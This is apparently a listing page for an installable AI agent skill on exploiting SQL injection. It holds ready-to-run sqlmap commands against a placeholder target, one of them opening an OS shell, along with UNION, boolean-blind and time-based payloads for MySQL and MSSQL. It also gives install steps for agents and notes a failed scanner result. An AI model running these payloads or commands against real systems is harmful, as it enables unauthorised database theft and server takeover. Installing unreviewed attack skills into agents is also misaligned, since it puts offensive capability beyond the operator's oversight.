Exploiting SQL injection vulnerabilities — from detection through UNION, error-based, blind (boolean/time-based), out-of-band, and automated exploitation with sqlmap.
When to Use
Detecting and exploiting SQL injection in web apps
Extracting database information via SQLi
Bypassing WAF/IPS filters for SQL injection
Manual and automated SQL injection testing
SQLi Techniques
SQLI_TYPES = {
'in_band_union': 'UNION SELECT to retrieve data in same response — simplest',
'in_band_error': 'Extract data via error messages (GROUP BY, CONVERT, XPATH)',
'blind_boolean': 'Infer data from TRUE/FALSE responses — slower but reliable',
'blind_time': 'Infer data from response delays (SLEEP, WAITFOR DELAY, BENCHMARK)',
'out_of_band': 'Extract data via DNS/HTTP to attacker-controlled server',
}
# sqlmap automation
SQLMAP_EXAMPLES = {
'basic': "sqlmap -u 'https://target.com/page?id=1' --batch",
'with_cookie': "sqlmap -u 'https://target.com/page?id=1' --cookie='session=abc' --batch",
'os_shell': "sqlmap -u 'https://target.com/page?id=1' --os-shell",
'dbs': "sqlmap -u 'https://target.com/page?id=1' --dbs --batch",
}
# Manual blind SQLi
BLIND_SQLI = {
'boolean': "' OR 1=1-- - (true), ' OR 1=2-- - (false)",
'time_mysql': "' OR IF(SUBSTRING((SELECT database()),1,1)='a',SLEEP(3),0)-- -",
'time_mssql': "'; IF (ASCII(SUBSTRING(@@version,1,1))>50) WAITFOR DELAY '0:0:5'--",
}
Verification Checklist
Injection point confirmed (error-based, blind, or time-based)
Database type identified (MySQL, MSSQL, PostgreSQL, Oracle, SQLite)
Run npx skillmds@latest add loopyluci/sql-injection-exploitation in your terminal (requires Node.js), paste this page's agent-chat prompt into Claude, Cursor, or any MCP-connected agent, or download the SKILL.md file and copy it into your agent's skills directory.
Use when exploiting SQL injection vulnerabilities. It is listed under Data & Analytics on SkillMD.
This skill has not completed SkillMD's automated safety review yet. Independent scanners report: SkillSpector: PASS, Skill Scanner: FAIL. Capability flags: makes network calls. SkillMD never runs a skill's scripts for you; review the SKILL.md before installing.
This skill is tagged as working with Claude Code, Claude.ai, OpenAI Codex. SKILL.md is an open format, so most agents that read a skills directory can load it too.
Yes. Installing skills from SkillMD is free. This skill is licensed under MIT.
LoopyLuci (@loopyluci) published this skill. Their other Agent Skills are listed on their SkillMD profile.